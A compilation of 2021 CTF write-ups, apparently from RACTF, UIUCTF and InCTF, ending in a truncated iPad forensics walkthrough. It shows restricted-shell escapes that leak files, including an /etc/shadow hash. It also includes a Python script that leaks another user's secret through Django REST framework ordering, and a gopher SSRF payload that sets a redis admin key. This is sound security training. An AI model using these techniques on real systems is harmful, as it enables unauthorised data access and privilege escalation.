"=/dev/pts/0" declare - "=xterm-256color" declare - "=ractf" declare - "=ractf" declare - "=/bin/sh" declare - "=/home/ractf" declare - "=/usr/bin:/bin" $ set PS1=\$ SHLVL=1 _=export PWD=/home/ractf SSH_TTY=/dev/pts/0 TERM=xterm-256color PS4=+ PS3=#? PS2=> BASH=/opt/toybox OPTERR=1 OSTYPE=Linux MACHTYPE=x86_64-unknown-linux HOSTTYPE=x86_64 HOSTNAME=missingtools-2021:missingtools-26a9074a LOGNAME=ractf USER=ractf SHELL=/bin/sh HOME=/home/ractf PATH=/usr/bin:/bin PPID=47 UID=1000 EUID=1000 BASHPID= GROUPS= LINENO= RANDOM= SECONDS= $ $ variables -sh: variables: No such file or directory $ unset $ alias -sh: alias: No such file or directory $ type -sh: type: No such file or directory $ help Toybox 0.8.5 multicall binary: https://landley.net/toybox (see toybox --help) Toybox 0.8.5 multicall binary: https://landley.net/toybox (see toybox --help) $ source /etc/passwd source: root:x:0:0:root:/root:: No such file or directory source: ractf:x:1000:1000:Linux: No such file or directory $ Eureka! After trying most of the builtins bash's commands i found that `source` command was supported in this shell.So basically source command reads a shell script that you give it and tries to execute the shell script line by line.Abusing source's error functionality we can output the contents of whatever file we want $ source /etc/shadow <-- we can read shadow???? source: root:!::0:::::: No such file or directory source: ractf:/IOsSWFp./EdNNxr0z8nnQUNHjptarB/nahv0U1:18834:0:99999:7:::: No such file or directory $ source /etc/hostname source: missingtools-2021:missingtools-26a9074a: No such file or directory $ source /etc/hosts source: 127.0.0.1: No such file or directory source: ::1: No such file or directory source: fe00::0: No such file or directory source: ff00::0: No such file or directory source: ff02::1: No such file or directory source: ff02::2: No such file or directory source: 172.17.0.76: No such file or directory $ source /flag.txt source: /flag.txt: No such file or directory $ source flag.txt source: ractf{std0ut_1s_0v3rr4ted_spl1t_sha}: No such file or directoryAnd there is our flag! But this was not the intended solution as the flag suggesting.After that i started to looking for the intended solution researching about toybox shell, in the previous outputs with `help` command it gives you and the exact url of the project, but before that for some reason i tried to run `/opt/toybox` to my suprise we got some extra info :) $ /opt/toybox [ bash cal date dirname echo eject false file help lsof mkpasswd pwd sh sha256sum sleep split swapoff sync test time toysh true wc whoami yes $ So now we know exacly what commands we are allowed to run and which we don't. As the flag suggests we have to read the flag with `split` and `sha256sum` With the split command you can split the contents of a file into different ones, so you could split a big file to smaller ones for example by 1000 lines, so the point is to split the flag file or any file of our choice to one byte files and calculate the sha256sum of them and recover their contents. Reading the documentation of split command you can split a file with `split -b 1 flag.txt` and it will split the flag to `xaa, xab, xac, ...` files by default and then you can calculate their sha256sum like this easily: $ sha256sum x?? 454349e422f05297191ead13e21d3db520e5abef52055e4964b82fb213f593a1 xaa ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb xab 2e7d2c03a9507ae265ecf5b5356885a53393a2029d241394997265a1a25aefc6 xac e3b98a4da31a127d4bde6e43033f66ba274cab0eb7eb1c70ec41402bf6273dd8 xad 252f10c83610ebca1a059c0bae8255eba2f95be4d1d7bcfa89d7248a82d9f111 xae 021fb596db81e6d02bf3d2586ee3981fe519f275c0ac9ca76bbcf2ebb4097d96 xaf 043a718774c572bd8a25adbeb1bfcd5c0256ae11cecf9f9c3f925d0e52beaf89 xag e3b98a4da31a127d4bde6e43033f66ba274cab0eb7eb1c70ec41402bf6273dd8 xah 18ac3e7343f016890c510e93f935261169d9e3f565436429830faf0934f4f8e4 xai 5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9 xaj 0bfe935e70c321c7ca3afc75ce0d0ca2f98b5422e008bb31c00c6d7f1f1c0ad6 xak e3b98a4da31a127d4bde6e43033f66ba274cab0eb7eb1c70ec41402bf6273dd8 xal d2e2adf7177b7a8afddbc12d1634cf23ea1a71020f6a1308070a16400fb68fde xam 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b xan 043a718774c572bd8a25adbeb1bfcd5c0256ae11cecf9f9c3f925d0e52beaf89 xao d2e2adf7177b7a8afddbc12d1634cf23ea1a71020f6a1308070a16400fb68fde xap 5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9 xaq 4c94485e0c21ae6c41ce1dfe7b6bfaceea5ab68e40a2476f50208e526f506080 xar 4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce xas 454349e422f05297191ead13e21d3db520e5abef52055e4964b82fb213f593a1 xat 454349e422f05297191ead13e21d3db520e5abef52055e4964b82fb213f593a1 xau 4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a xav e3b98a4da31a127d4bde6e43033f66ba274cab0eb7eb1c70ec41402bf6273dd8 xaw 3f79bb7b435b05321651daefd374cdc681dc06faa65e374e38337b88ca046dea xax 18ac3e7343f016890c510e93f935261169d9e3f565436429830faf0934f4f8e4 xay d2e2adf7177b7a8afddbc12d1634cf23ea1a71020f6a1308070a16400fb68fde xaz 043a718774c572bd8a25adbeb1bfcd5c0256ae11cecf9f9c3f925d0e52beaf89 xba 148de9c5a7a44d19e56cd9ae1a554bf67847afb0c58f6e12fa29ac7ddfca9940 xbb acac86c0e609ca906f632b0e2dacccb2b77d22b0621f20ebece1a4835b93f6f0 xbc 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b xbd e3b98a4da31a127d4bde6e43033f66ba274cab0eb7eb1c70ec41402bf6273dd8 xbe d2e2adf7177b7a8afddbc12d1634cf23ea1a71020f6a1308070a16400fb68fde xbf 043a718774c572bd8a25adbeb1bfcd5c0256ae11cecf9f9c3f925d0e52beaf89 xbg aaa9402664f1a41f40ebbc52c9993eb66aeb366602958fdfaa283b71e64db123 xbh ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb xbi d10b36aa74a59bcf4a88185837f658afaf3646eff2bb16c3928d0e9335e945d2 xbjYou could write a python/bash script to calculate the flag but i tried crackstation instead because it allows you to crack multiple hashes but max 20 so i had to crack them 20 by 20.![flag_20](first_20_bytes.png)![flag_trailing_bytes](trailing_bytes.png)
## RACTF - Secret Store / Web [ 300 points ] ( 10 solves )**Description** > How many secrets could a secret store store if a store could store> secrets? ## General overviewThe web app is a Django application where you can register/login as a user and save a secret text which shouldn't be visible to anyone else except you in your home page when you login. Other users can also post their own secret text and the goal is to find a way to stole the secret from other users in order to read the flag from the admin.## Code auditThere is a rest framework implemented with [djangorestframework](https://pypi.org/project/djangorestframework/) for the secret text that users are posting. We can peek a look at his views and models inside the secret folder where the source is located. We can see the secret's model inside secret/models.py: ```pythonclass Secret(models.Model): value = models.CharField(max_length=255) owner = models.OneToOneField(User, on_delete=CASCADE) last_updated = models.DateTimeField(auto_now=True) created = models.DateTimeField(auto_now_add=True)```And there is a model serializer for the model Secret inside secret/serializers.py:```pythonclass SecretSerializer(serializers.ModelSerializer): class Meta: model = Secret fields = ["id", "value", "owner", "last_updated", "created"] read_only_fields = ["owner", "last_updated", "created"] extra_kwargs = {"value": {"write_only": True}} def create(self, validated_data): validated_data["owner"] = self.context["request"].user if Secret.objects.filter(owner=self.context["request"].user): return super(SecretSerializer, self).update(Secret.objects.get(owner=self.context['request'].user), validated_data) return super(SecretSerializer, self).create(validated_data)```From the serializer we can see that the fields owner, last_updated, created and (implicitly) the id are read only, and the value field is write only.Inside secret/views.py we can see the views of the web app and what they are doing:```pythonclass SecretViewSet(viewsets.ModelViewSet): queryset = Secret.objects.all() serializer_class = SecretSerializer permission_classes = (IsAuthenticated & IsSecretOwnerOrReadOnly,) filter_backends = [filters.OrderingFilter] ordering_fields = "__all__" class RegisterFormView(CreateView): template_name = "registration/register.html" form_class = UserCreationForm model = User success_url = "/" def home(request): if request.user.is_authenticated: secret = Secret.objects.filter(owner=request.user) if secret: return render(request, "home.html", context={"secret": secret[0].value}) return render(request, "home.html")```We can see the home page view which just asks the database if a logged in user has a secret and displays it to him if it does, inside the home page. Apart from this view we can see that is implemented a ViewSet which is basically an easy automated way to query the database and display to the user the results. In our case we can get a json with all read only fields of the Secret serializer for example visiting [http://challange/api/secret?format=json](https://www.django-rest-framework.org/api-guide/format-suffixes/) we get as a result: [{"id":1,"owner":1,"last_updated":"2021-08-04T21:55:59.750611Z","created":"2021-08-04T21:55:32.221867Z"},{"id":2,"owner":8,"last_updated":"2021-08-13T20:16:05.306976Z","created":"2021-08-13T20:16:05.307065Z"},{"id":3,"owner":12,"last_updated":"2021-08-13T22:17:15.718312Z","created":"2021-08-13T21:41:25.913725Z"},{"id":4,"owner":113,"last_updated":"2021-08-14T16:08:40.385043Z","created":"2021-08-14T16:07:45.011707Z"},{"id":5,"owner":111,"last_updated":"2021-08-14T17:50:00.910477Z","created":"2021-08-14T17:50:00.910544Z"},{"id":6,"owner":126,"last_updated":"2021-08-15T08:23:42.895236Z","created":"2021-08-15T08:04:32.918062Z"},{"id":7,"owner":129,"last_updated":"2021-08-15T08:53:06.531769Z","created":"2021-08-15T08:53:06.531818Z"},{"id":8,"owner":133,"last_updated":"2021-08-15T17:48:13.303999Z","created":"2021-08-15T12:34:30.069458Z"},{"id":9,"owner":134,"last_updated":"2021-08-15T17:17:50.206823Z","created":"2021-08-15T17:17:33.212906Z"}]Reading carefully django's rest framework documentation for [OrderingFilter](https://www.django-rest-framework.org/api-guide/filtering/#orderingfilter) we can see that we can supply an ordering query parameter to filter (sort) out our json output to our needs. Reading further the documentation we spot the following line: > If you are confident that the queryset being used by the view doesn't contain any sensitive data, you can also explicitly specify that a view should allow ordering on _any_ model field or queryset aggregate, by using the special value `'__all__'`. Which is exactly our case :), our own little SecretViewSet specifies that we can filter by any field our query, so basically we can post a secret with initial value `ractf{` , order the output by `values` and compare our own secret value with the admin's secret value which i assume is the user with id=1 and owner=1.## Exploit ```pythonimport requestsfrom bs4 import BeautifulSoupimport jsonimport string def find_owner(orderings, owner): for i, ordering in enumerate(orderings): if ordering['owner'] == owner: return i #Owner not found in orderings return None session = requests.Session()url = 'http://challenge:port' # Change thislogin_url = f'{url}/auth/login/'logout_url = f'{url}/auth/logout/'api_secret_url = f'{url}/api/secret/' r = session.get(url = login_url)parse = BeautifulSoup(r.text, "html.parser") # Extract csrf token to be able to logincsrf_token = parse.find_all('input')[0]['value'] # You have to register agent007 first.post_data = { 'csrfmiddlewaretoken': csrf_token, 'username': 'agent007', 'password': 'SecretPassword007.'} flag = r'ractf{' # Final flag ractf{data_exf1l_via_s0rt1ng_0c66de47} # Sign in to agent007r = session.post(url = login_url, data = post_data) # Let's save some secrets ;)r = session.post(url = api_secret_url, json = { 'value': flag }, headers = { 'X-CSRFToken': session.cookies['csrftoken'] }) print(f'Status code === {r.status_code}')_, owner, _, _ = json.loads(r.text).values() # Get our owner id in order to be able to recognize our position in the final orderings # When positive means we surpassed the flag value# When negative means we need to go forward# When from negative becomes positive it means the previous character was the correct character of the nth pos of the flagcmp = 0 alphabet = string.digits + ':_`' + string.ascii_letters + '}~'while not '}' in flag: # Iterate through every character in the alphabet # Post the flag appended with this character as our little secret and compare the results to bruteforce the characters of the flag for c in alphabet: r = session.post(url = api_secret_url, json = { 'value': flag + c }, headers = { 'X-CSRFToken': session.cookies['csrftoken'] } ) orderings = json.loads( session.get(url = api_secret_url + '?format=json&ordering=value').text ) orderings_user_idx = find_owner(orderings, owner) orderings_flag_idx = find_owner(orderings, owner = 1) cmp = orderings_flag_idx - orderings_user_idx if cmp < 0: prev_c = chr(ord(c)-1) print(flag + prev_c) flag += prev_c break```
[link to original writeup](https://github.com/babaiserror/ctf/blob/main/%5B210813-16%5D%20ReallyAwesomeCTF%202021/README.md#missing-tools-miscellaneous-250-pts) After ssh'ing in with the given credentials, we get a restricted shell. Let's try some commands.```baba@baba:~$ ssh -p 42380 [email protected][email protected]'s password:Linux restricted shell$ catThis command has been disabled by your administrator.$ lsThis command has been disabled by your administrator.$ viThis command has been disabled by your administrator.$ pwd/home/ractf$ echo $ cd$ ..: Needs 1 argument``` `.` is also equivalently `source` command, which reads a file and executes commands within that file. While we don't have `ls`, `echo *` will do the same thing. ```$ echo *flag.txt$ . flag.txt.: ractf{std0ut_1s_0v3rr4ted_spl1t_sha}: No such file or directory```
In the Discord server, send a message containing the text `:emote:` to post the emoji. Using whichever method your device supports (browser/app/desktop), download the image. It's easiest to do in the browser with Inspect Element. Then using an Image to Binary converter such as [this](https://www.dcode.fr/binary-image) one, first make sure to set "Original Size" and not "Reduced Size". Then convert the image to binary. You may now use whichever Binary to Text converter you prefer (such as [this](https://codebeautify.org/binary-to-text) one), and you will get the flag: `uiuctf{staring_at_pixels_is_fun}`
I executed the following command. ```$ ssh [email protected] -p 21796[email protected]'s password: Linux restricted shell $ echo *flag.txt $ sh < flag.txtsh: ractf{std0ut_1s_0v3rr4ted_spl1t_sha}: No such file or directory```
# Raas | InCTF We can see at first a textbox It just gives `SOME ISSUE OCCURED` when I enter some random things Let's try a url :I tried `http://www.google.com` and it worked So we are working with a `SSRF` here It tried `http://localhost:6969`, .... but they didnt seem to work I changed it and tried `file:///etc/passwd` So we can read files In the docker file we see that there is a file named `app.py` lets read it with `file://./app.py` : ```pyfrom flask import Flask, request,render_template,request,make_responseimport redisimport timeimport osfrom utils.random import Upper_Lower_stringfrom main import Requests_On_Steroidsapp = Flask(__name__) # Make a connection of the queue and redisr = redis.Redis(host='redis', port=6379)#r.mset({"Croatia": "Zagreb", "Bahamas": "Nassau"})#print(r.get("Bahamas"))@app.route("/",methods=['GET','POST'])def index(): if request.method == 'POST': url = str(request.form.get('url')) resp = Requests_On_Steroids(url) return resp else: resp = make_response(render_template('index.html')) if not request.cookies.get('userID'): user=Upper_Lower_string(32) r.mset({str(user+"_isAdmin"):"false"}) resp.set_cookie('userID', user) else: user=request.cookies.get('userID') flag=r.get(str(user+"_isAdmin")) if flag == b"yes": resp.set_cookie('flag',str(os.environ['FLAG'])) else: resp.set_cookie('flag', "NAAAN") return resp if __name__ == "__main__": app.run('0.0.0.0')``` We can see that the app is using redis to check if the `cookie+"_isAdmin"` corresponds to `yes`. I found 2 other interesting files `file://./main.py` `file://./modules/Gophers.py` main.py```pyimport requests, re, io, socketfrom urllib.parse import urlparse, unquote_plusimport osfrom modules.Gophers import GopherAdapter from modules.files import LocalFileAdapter def Requests_On_Steroids(url): try: s = requests.Session() s.mount("inctf:", GopherAdapter()) s.mount('file://', LocalFileAdapter()) resp = s.get(url) assert resp.status_code == 200 return(resp.text) except: return "SOME ISSUE OCCURED" #resp = s.get("butts://127.0.0.1:6379/_get dees")``` Gophers.py```pyimport requests, re, io, socketfrom urllib.parse import urlparse, unquote_plusimport os __ITEM_TYPE_IN_PATH = re.compile(r"(/[0-9+gITdhs])(/.+)") deitemize = lambda x: __ITEM_TYPE_IN_PATH.sub(lambda m: m.groups()[1], x)itemized = lambda x: __ITEM_TYPE_IN_PATH.match(x) is not None class HoldsThings: """It's like a namedtuple, but you can't index by number and it's actually mutable.""" def __init__(self, **kwargs): self.__dict__.update(kwargs) def parse_url(url): res = urlparse(url) ret = HoldsThings(**res._asdict()) if res.query: ret.path = res.path + "?" + res.query del ret.query if not ret.path: ret.path = "/" if "\t" in ret.path: ret.path, ret.query = ret.path.split("\t", 1) if itemized(ret.path): ret.path = deitemize(ret.path) return ret class GopherAdapter(requests.adapters.BaseAdapter): def _netloc_to_tuple(self, netloc): host, sep, port = netloc.rpartition(":") if sep: port = int(port) else: host = port port = 1010 return (host, port) def _connect_and_read(self, parsed): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(self._netloc_to_tuple(parsed.netloc)) msg = parsed.path.replace('/_','') if hasattr(parsed, "query"): msg += "\t" + parsed.query msg += "\r\n" print(bytes(msg, 'utf-8')) s.sendall(bytes(msg, 'utf-8')) f = s.makefile("rb") res = b"" data = f.readline() print(data) f.close() return res def _build_response(self, request, res): resp = requests.Response() resp.status_code = 400 if (res.startswith(b"3") or b"\r\n3" in res) else 200 resp.headers = requests.structures.CaseInsensitiveDict({}) resp.encoding = "utf-8" resp.raw = io.BytesIO(res) resp.url = request.url resp.req = request resp.connection = self return resp def send(self, request, **kwargs): assert request.method == "GET", f"You can't {request.method.lower!r} a Gopher resource!" parsed = parse_url(unquote_plus(request.url)) res = self._connect_and_read(parsed) return self._build_response(request, res)``` We can communicaton with redis via Gopher with the attribute `inctf:` We see that we can send the command to redis if we type it after `/_` The host is : `redis`And the port is : `6379`as shown in app.py The payload format will be :`inctf://redis:6379/_[redis_command]` So I used this payload to set the cookie : `inctf://redis:6379/_set QsNqtzrgjfvjkbIhAMWusCxYzRkKCkJR_isAdmin yes` I url-encoded it and submited it and then accessed the webapp with the same cookie : And I got the flag~ `inctfi{IDK_WHY_I_EVEN_USED_REDIS_HERE!!!}`
*This writeup is also readable on my [GitHub repository](https://github.com/shawnduong/zero-to-hero-hacking/blob/master/writeups/closed/2021-uiuctf.md) and [personal website](https://shawnd.xyz/blog/2021-08-05/Performing-Digital-Forensics-on-an-Apple-Tablet-to-Recover-Evidence).* ## forensics/Tablet 1 *Challenge written by WhiteHoodHacker.* > Red has been acting very sus lately... so I took a backup of their tablet to see if they are hiding something!> > It looks like Red has been exfiltrating sensitive data bound for Mira HQ to their own private server. We need to access that server and contain the leak. I have to host this file on my personal site because GitHub doesn't like how large it is. Files: [`tablet.tar.gz`](https://shawnd.xyz/blog/uploads/2021-08-05/tablet.tar.gz) Checksum (SHA-1): ```27dfb3448130b5e4f0f73a51d2a41b32fd81b284 tablet.tar.gz``` To preface, I just want to say that this was a really fun challenge! It involves performing digital forensics on an Apple tablet using a given filesystem backup, investigating a (fictional) target, interacting with SQLite databases used by some common applications, and using evidence discovered through the forensics process to hack into another server. The ideas and procedures explored are pretty neat and are definitely something that would be encountered in real-life operations! Let's first start off the challenge by getting oriented. Based off of the challenge description, we have a few key pieces of information: - Our target is "Red."- We have a backup of Red's tablet.- Red exfiltrated data to a private server.- Our objective is to gain control of this server and contain the leak. The file that we're given is a `.tar.gz` file, meaning that it's a tarball that's been gzipped; a tarball is a file format that combines multiple files into a single file, and gzip is a file compression format. We can decompress the gzip and extract the files from the tarball using the `gunzip` and `tar` utilities, additionally passing `xf` (extract file) to `tar` as a command line argument: ```sh[skat@anubis:~/work/UIUCTF] $ lstablet.tar.gz[skat@anubis:~/work/UIUCTF] $ gunzip tablet.tar.gz[skat@anubis:~/work/UIUCTF] $ tar xf tablet.tar[skat@anubis:~/work/UIUCTF] $ lsprivate tablet.tar``` We can see that we've extracted a new directory: `private/`. We can get oriented by exploring the directory; a great utility is `tree`, which will display a tree structure of the filesystem starting from your current active directory if no additional arguments are supplied. ```sh[skat@anubis:~/work/UIUCTF] $ cd private/[skat@anubis:~/work/UIUCTF/private] $ lsvar[skat@anubis:~/work/UIUCTF/private] $ cd var/[skat@anubis:~/work/UIUCTF/private/var] $ ls buddy empty hardware iomfb_bics_daemon Keychains logs mobile MobileSoftwareUpdate networkd protected run tmp containers folders installd keybags log 'Managed Preferences' MobileDevice msgs preferences root staged_system_apps wireless[skat@anubis:~/work/UIUCTF/private/var] $ tree.├── buddy├── containers│   ├── Data│   │   └── System│   │   ├── 0484B045-1EFD-4EC1-9B74-3E7665974A42│   │   │   ├── Documents [error opening dir]│   │   │   ├── Library [error opening dir]│   │   │   └── tmp [error opening dir]│   │   ├── 1CB5E5B6-3849-4CA0-8DCD-BF5A521286B9│   │   │   ├── Documents [error opening dir]│   │   │   ├── Library [error opening dir]│   │   │   └── tmp [error opening dir]│   │   ├── 28841A8D-11F8-4013-8D5D-B02B63B944F4│   │   │   ├── Documents [error opening dir]│   │   │   ├── Library [error opening dir]│   │   │   └── tmp [error opening dir]│   │   ├── 2FD33CE1-DDAD-4FEC-A4F5-55144CBA75EB│   │   │   ├── Documents [error opening dir]│   │   │   ├── Library [error opening dir]│   │   │   └── tmp [error opening dir]│   │   ├── 416AB7BD-5EC1-4075-9704-44048CF01074│   │   │   ├── Documents [error opening dir]│   │   │   ├── Library [error opening dir]│   │   │   └── tmp [error opening dir]│   │   ├── 4BA18D97-352A-475E-9C22-36315FF4C868│   │   │   ├── Documents [error opening dir]│   │   │   ├── Library [error opening dir]-- snip --``` Whoa, that's a lot of information to take in! In fact, `tree`'s output goes on for 12,541 lines in total. This is common in any digital forensics investigation: you're given such a great quantity of information that it would be impractical to go through every single one individually, so you must be smart and precise about how you select certain pieces of evidence such that you make good use of your time while also not compromising the value of the information that you do uncover. We'll get back to this in a moment. Before we dig too deep into the investigation itself, we can see that there are a bunch of errors in opening up directories according to the output of `tree`. Let's select a sample one, `./containers/Data/System/0484B045-1EFD-4EC1-9B74-3E7665974A42/Documents/`, and find out why we're having trouble opening up these directories: ```sh[skat@anubis:~/work/UIUCTF/private/var] $ ls ./containers/Data/System/0484B045-1EFD-4EC1-9B74-3E7665974A42/Documents/ls: cannot open directory './containers/Data/System/0484B045-1EFD-4EC1-9B74-3E7665974A42/Documents/': Permission denied[skat@anubis:~/work/UIUCTF/private/var] $ ls -l ./containers/Data/System/0484B045-1EFD-4EC1-9B74-3E7665974A42/total 12d--------- 2 skat skat 4096 Jul 23 10:36 Documentsd--------- 4 skat skat 4096 Jul 23 10:36 Libraryd--------- 2 skat skat 4096 Jul 23 10:36 tmp``` Of course we can't access anything -- [the modes](https://github.com/shawnduong/zero-to-hero-hacking/blob/master/linux/permissions-and-modes.md) are insufficient for read access! In fact, we have neither read, write, nor execution permissions. We can solve all of these problems at once by giving ourselves all three permissions for all files and directories in the backup, which can easily be done recursively with `chmod -R`: ```sh[skat@anubis:~/work/UIUCTF/private/var] $ chmod -R 700 *[skat@anubis:~/work/UIUCTF/private/var] $ tree.├── buddy├── containers│   ├── Data│   │   └── System│   │   ├── 0484B045-1EFD-4EC1-9B74-3E7665974A42│   │   │   ├── Documents│   │   │   ├── Library│   │   │   │   ├── Caches│   │   │   │   └── Preferences│   │   │   └── tmp│   │   ├── 1CB5E5B6-3849-4CA0-8DCD-BF5A521286B9│   │   │   ├── Documents│   │   │   ├── Library│   │   │   │   ├── Caches│   │   │   │   └── Preferences│   │   │   └── tmp│   │   ├── 28841A8D-11F8-4013-8D5D-B02B63B944F4│   │   │   ├── Documents│   │   │   ├── Library│   │   │   │   ├── Caches│   │   │   │   │   ├── functions.data│   │   │   │   │   ├── functions.list│   │   │   │   │   ├── libraries.data│   │   │   │   │   └── libraries.list│   │   │   │   └── Preferences│   │   │   └── tmp│   │   ├── 2FD33CE1-DDAD-4FEC-A4F5-55144CBA75EB│   │   │   ├── Documents│   │   │   ├── Library│   │   │   │   ├── Caches│   │   │   │   └── Preferences│   │   │   └── tmp│   │   ├── 416AB7BD-5EC1-4075-9704-44048CF01074-- snip --``` Great, no more errors! Based on the briefing earlier, we know that we currently have a backup of Red's tablet. Before we start combing through the files, let's see if we can first find out what type of tablet Red has. Knowing what type of device we're investigating may help us locate things and orient ourselves much more effectively. ```sh[skat@anubis:~/work/UIUCTF/private/var] $ ls buddy empty hardware iomfb_bics_daemon Keychains logs mobile MobileSoftwareUpdate networkd protected run tmp containers folders installd keybags log 'Managed Preferences' MobileDevice msgs preferences root staged_system_apps wireless``` `hardware/` looks interesting. ```sh[skat@anubis:~/work/UIUCTF/private/var] $ tree hardwarehardware└── FactoryData └── System └── Library └── Caches ├── apticket.der └── com.apple.factorydata ├── ccrt-00008000-000007B6C93ED5F9 ├── FSCl-F58717371LRHGXG8BB ├── hop0-F58717371LRHGXG8BB ├── NvMR-F58717371LRHGXG8BB ├── pcrt-e245a4599e9b3fb42f334fc4b1c4cb3509582869 ├── scrt-00008000-000007B6C93ED5F9 ├── seal-00008000-000007B6C93ED5F9 └── trustobject-5340B6A059BDB732E715E7BB1B292EDCD45C2A8D1D07E6039D3F338D7C4428AB``` Just like that, we now know that we're on an Apple system. Apple's line of tablets are iPads, so we can safely assume that this is an Apple iPad. This gives us a starting point from which we can do our research from. It's always important to get oriented when dealing with a new set of data. By first understanding that we're dealing with an iPad device that's running iPadOS, we can better and more precisely inspect the system while keeping in mind that its behavior will be that of an iPadOS; this removes an element of unpredictability from the equation. According to Wikipedia's article on [iPadOS](https://web.archive.org/web/20210728223925/https://en.wikipedia.org/wiki/IPadOS), iPadOS is a rebranded variant of iOS. [iPadOS 14](https://web.archive.org/web/20210728224854/https://en.wikipedia.org/wiki/IPadOS_14), the current major release of iPadOS, seems to at least partially mirror the features of iOS 14. Although we're not sure if this specific backup is of an iPadOS 14 device, we can at least make the educated assumption that vital features and internal workings may stay consistent; our research on iPadOS 14 and iOS 14 may still be relevant to whatever specific operating system is on the device being investigated. Doing more research on what type of filesystem is utilized by iOS 14 brings us to an article from Apple's own documentation: ["File System Basics."](https://web.archive.org/web/20210604045749/https://developer.apple.com/library/archive/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html) Because we know that Red had exfiltrated data to a private server, knowing the tools that Red may have used may reveal where this private server is, how Red communicated with this server, and how Red may have connected to this server. What we're looking for is a host, either in the form of a domain or an IP address, within the data of some application. The aforementioned official Apple documentation tells us something important: > For security purposes, an iOS app’s interactions with the file system are limited to the directories inside the app’s sandbox directory. During installation of a new app, the installer creates a number of container directories for the app inside the sandbox directory. We're targeting applications that Red may have used to exfiltrate data since we're searching for the potential host that Red may have connected to. Applications on an iOS device -- and by extension, most likely on an iPadOS device -- have their files confined to containers for security reasons. Let's find where these containers are located using `find`: ```sh[skat@anubis:~/work/UIUCTF/private/var] $ find . -name "Containers"./mobile/Containers``` Let's navigate to the containers and get oriented using `tree`: ```sh[skat@anubis:~/work/UIUCTF/private/var] $ cd ./mobile/Containers/[skat@anubis:~/work/UIUCTF/private/var/mobile/Containers] $ tree.├── Data│   ├── Application│   │   ├── 0086F008-29FB-4F0A-AEF7-2EA84DBCE5BD│   │   │   ├── Documents│   │   │   ├── Library│   │   │   │   ├── Caches│   │   │   │   └── Preferences│   │   │   ├── SystemData│   │   │   └── tmp│   │   ├── 009B0AA6-834F-433E-A1CC-D573DE8ADF6F│   │   │   ├── Documents│   │   │   ├── Library│   │   │   │   ├── Caches│   │   │   │   ├── Preferences│   │   │   │   └── SplashBoard│   │   │   │   └── Snapshots│   │   │   │   └── com.apple.dt.XcodePreviews - {DEFAULT GROUP}│   │   │   │   ├── [email protected]│   │   │   │   ├── [email protected]│   │   │   │   ├── [email protected]│   │   │   │   ├── [email protected]│   │   │   │   ├── [email protected]│   │   │   │   ├── [email protected]│   │   │   │   ├── [email protected]│   │   │   │   └── [email protected]│   │   │   ├── SystemData│   │   │   └── tmp│   │   ├── 05AB72AC-91C4-4A63-9116-D5C43068EA5F│   │   │   ├── Documents│   │   │   ├── Library│   │   │   │   ├── Caches│   │   │   │   ├── Preferences│   │   │   │   └── SplashBoard│   │   │   │   └── Snapshots│   │   │   │   └── com.apple.WebSheet - {DEFAULT GROUP}-- snip --``` 7,474 lines of output! We don't really care about most of these files, but we do know now where the apps are located. Let's try to get a list of all apps that are available on this system. Something that you may have noticed is that apps have names such as `com.apple.dt.XcodePreviews` and `com.apple.WebSheet`, something known was **reverse domain name notation.** We can use this to our advantage to create an expression that will only give us directories or files with an app name since we know that it will most likely start with some sort of common top-level domain like ".com" or ".org." Let's `find` these: ```sh[skat@anubis:~/work/UIUCTF/private/var/mobile/Containers] $ find . -name "com.*"./Data/PluginKitPlugin/6C4CE4A9-900B-4177-B7EA-770F4DCE7C57/SystemData/com.apple.chrono./Data/PluginKitPlugin/6C4CE4A9-900B-4177-B7EA-770F4DCE7C57/SystemData/com.apple.chrono/placeholders/com.apple.Maps./Data/PluginKitPlugin/6C4CE4A9-900B-4177-B7EA-770F4DCE7C57/Library/Caches/com.apple.dyld./Data/PluginKitPlugin/9CEFB254-EACD-409A-ADD6-F526CDE241DD/Library/Caches/com.apple.Animoji.StickersApp.MessagesExtension./Data/PluginKitPlugin/9CEFB254-EACD-409A-ADD6-F526CDE241DD/Library/Caches/com.apple.Animoji.StickersApp.MessagesExtension/com.apple.metalfe./Data/PluginKitPlugin/9CEFB254-EACD-409A-ADD6-F526CDE241DD/Library/Caches/com.apple.Animoji.StickersApp.MessagesExtension/com.apple.metal./Data/PluginKitPlugin/26BC37DE-ECA3-4DE2-83FD-BB19CC960116/Library/SyncedPreferences/com.apple.kvs./Data/PluginKitPlugin/26BC37DE-ECA3-4DE2-83FD-BB19CC960116/Library/SyncedPreferences/com.apple.kvs/ChangeTokens/EndToEndEncryption/WeatherIntents/com.apple.weather./Data/PluginKitPlugin/26BC37DE-ECA3-4DE2-83FD-BB19CC960116/Library/SyncedPreferences/com.apple.weather.WeatherIntents.plist./Data/PluginKitPlugin/E00F3026-1873-4BF6-BE3E-1E10F75FEB71/Library/SyncedPreferences/com.apple.mobilenotes.SharingExtension-com.apple.notes.analytics.plist./Data/PluginKitPlugin/E00F3026-1873-4BF6-BE3E-1E10F75FEB71/Library/SyncedPreferences/com.apple.mobilenotes.SharingExtension.plist./Data/PluginKitPlugin/4DCDF246-E707-4F52-B616-39B0BB323238/SystemData/com.apple.chrono./Data/PluginKitPlugin/4DCDF246-E707-4F52-B616-39B0BB323238/SystemData/com.apple.chrono/placeholders/com.apple.tips./Data/PluginKitPlugin/4DCDF246-E707-4F52-B616-39B0BB323238/Library/Caches/com.apple.dyld./Data/PluginKitPlugin/B3D150FB-FD7E-4A6D-A4B0-C8277CADF6DF/SystemData/com.apple.chrono./Data/PluginKitPlugin/B3D150FB-FD7E-4A6D-A4B0-C8277CADF6DF/SystemData/com.apple.chrono/placeholders/com.apple.mobilenotes.FolderWidget./Data/PluginKitPlugin/B3D150FB-FD7E-4A6D-A4B0-C8277CADF6DF/SystemData/com.apple.chrono/placeholders/com.apple.mobilenotes.NoteWidget./Data/P